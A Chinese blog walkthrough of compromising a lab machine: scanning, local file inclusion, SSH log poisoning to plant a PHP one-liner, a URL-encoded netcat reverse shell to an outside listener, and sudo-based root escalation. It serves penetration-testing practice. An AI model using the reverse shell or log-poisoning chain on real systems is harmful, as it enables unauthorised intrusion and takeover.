漏洞payload 靶机_kali渗透综合靶机(十六)--evilscience靶机

r囧r小猫 2022-12-31 09:28 167阅读 0赞

kali渗透综合靶机(十六)--evilscience靶机

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24

![Image 1][]

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.10.195

![Image 1][]

三、端口服务识别

1. nmap -sV -T4 -O -p 22,80 192.168.10.195

![Image 1][]

四、漏洞查找与利用

1.目录扫描

![Image 1][]

2. 发现http://192.168.10.195/fuck，下载下来没啥用

3.发现http://192.168.10.195/index.php?file=about.php 测试存在本地文件包含

![Image 1][]

4.包含/etc/passwd,失败,尝试用burp进行模糊测试,可以看到可以包含/var/log/auth.log文件,可以利用ssh登录产生错误日志

![Image 1][]

5. 利用ssh登录产生错误日志,可以看到错误信息写入到日志中,可以利用ssh错误日志写入一句话木马

![Image 1][]

![Image 1][]

6.利用ssh日志写入一句话木马

![Image 1][]

7.测试一句话是否成功写入,下图可以看到成功执行,然后可以执行任何系统命令

![Image 1][]

8.反弹shell,需要对反弹shell中特殊符号进行url编码,不要对整个url进行编码

mknod+backpipe+p+%26%26+nc+192.168.1.66+9999+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe

![Image 1][]

9.kali端开启监听，然后用python -c ‘import pty;pty.spawn(“/bin/bash”)’,重新打开一个终端

![Image 1][]

10.上图看到用python -c 打开的一个终端还是受限的,需要在用awk ‘BEGIN\{system(“/bin/bash”)\}’重新打开一个终端

提权一:

1.Sudo -l查看是否属于sudo组

![Image 1][]

2. 可以使用sudo权限不需要密码执行xxxlogauditorxxx.py，查看一下该文件的权限, 该py文件的配置错误，导致可以直接以root权限执行命令,查看脚本存在命令执行漏洞

![Image 1][]

3.msfvenom生成一个payload,上传到目标,增加执行权限

![Image 1][]

4.sudo运行该脚本,

![Image 1][]

5.kali开启监听

![Image 1][]

提权二:

1.首先给/etc/sudoers加写入权限

![Image 1][]

2.然后把当前用户以不用密码的登录方式添加到sudo组

![Image 1][]

3.sudo -i 获得root权限

![Image 1][]

[Image 1]:

发表评论取消回复

表情：

评论列表（有 0 条评论，167人围观）

还没有评论，来说两句吧...

相关阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)从信息收集到拿到低权限，最后提权获取最高权限，详细解读

待我称王封你为后i/ 2024年04月29日 02:05/ 0 赞/ 87 阅读

相关 [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解从信息收集到拿到低权限，最后提权获取最高权限，详细解读

柔光的暖阳◎/ 2024年04月29日 01:51/ 0 赞/ 75 阅读

相关【VulnHub靶机渗透】五：DC-1

VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有相关目标去完成（万分感谢提供靶机镜

川长思鸟来/ 2023年07月25日 12:35/ 0 赞/ 31 阅读

相关【VulnHub靶机渗透】二：Lazysysadmin

该靶机设定了一些不安全的配置以及弱口令，导致重要文件泄漏。本次通过对发现的端口服务，逐一进行渗透提权测试来学习该靶机，如有问题请指出。文章较长，记录了不断测试并发现利用的过

旧城等待，/ 2023年07月17日 12:45/ 0 赞/ 23 阅读

相关【VulnHub靶机渗透】六：DC-2

VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有相关目标去完成（万分感谢提供靶机镜

Myth丶恋晨/ 2023年05月22日 04:35/ 0 赞/ 24 阅读

相关【VulnHub靶机渗透】七：DC-4

VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有相关目标去完成（万分感谢提供靶机镜

我就是我/ 2023年05月21日 15:18/ 0 赞/ 12 阅读

相关【VulnHub靶机渗透】十：My_Tomcat_Host

VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有目标去完成，大多是拿到root权限

分手后的思念是犯贱/ 2023年02月14日 01:34/ 0 赞/ 22 阅读

相关漏洞payload 靶机_kali渗透综合靶机(十六)--evilscience靶机

kali渗透综合靶机(十六)--evilscience靶机一、主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 ![Image

r囧r小猫/ 2022年12月31日 09:28/ 0 赞/ 168 阅读

相关 kali笔记(一)-安装kali和靶机

1.kali 安装 [https://www.kali.org/downloads/，下载kali,就直接下载虚拟机镜像版的就行，我这里用的是VirtualBox，然后在V

喜欢ヅ旅行/ 2021年12月18日 05:35/ 0 赞/ 988 阅读

相关 docker 漏洞测试靶机环境靶机平台 vulhub vulapps 简介

在实际学习中，经常需要模拟不同的漏洞环境，而使用公网的实例的话，多多少少又存在一些风险，因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案。Docker是近两年来十分流行的

怼烎@/ 2021年07月29日 00:57/ 0 赞/ 904 阅读